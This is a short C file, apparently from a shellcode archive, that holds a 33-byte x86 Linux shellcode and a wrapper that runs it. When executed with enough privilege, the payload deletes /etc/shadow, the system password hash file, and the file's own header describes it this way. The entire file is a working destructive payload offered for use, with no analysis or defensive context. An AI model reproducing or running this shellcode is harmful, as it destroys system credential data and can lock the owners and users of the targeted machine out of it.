/*
Name : 33 bytes unlink "/etc/shadow" x86 linux shellcode
Date : Wed Jun 2 18:01:44 2010
Author : gunslinger_ <yudha.gunslinger[at]gmail.com>
Web : http://devilzc0de.org
blog : http://gunslingerc0de.wordpress.com
tested on : linux debian
*/
#include <stdio.h>
char *shellcode=
"\xeb\x0f" /* jmp 0x8048071 */
"\x31\xc0" /* xor %eax,%eax */
"\xb0\x0a" /* mov $0xa,%al */
"\x5b" /* pop %ebx */
"\xcd\x80" /* int $0x80 */
"\x31\xc0" /* xor %eax,%eax */
"\xb0\x01" /* mov $0x1,%al */
"\x31\xdb" /* xor %ebx,%ebx */
"\xcd\x80" /* int $0x80 */
"\xe8\xec\xff\xff\xff" /* call 0x8048062 */
"\x2f" /* das */
"\x65" /* gs */
"\x74\x63" /* je 0x80480dd */
"\x2f" /* das */
"\x73\x68" /* jae 0x80480e5 */
"\x61" /* popa */
"\x64\x6f" /* outsl %fs "(%esi),(%dx) */
"\x77"; /* .byte 0x77 */
int main(void)
{
fprintf(stdout,"Length: %d\n",strlen(shellcode));
((void (*)(void)) shellcode)();
return 0;
}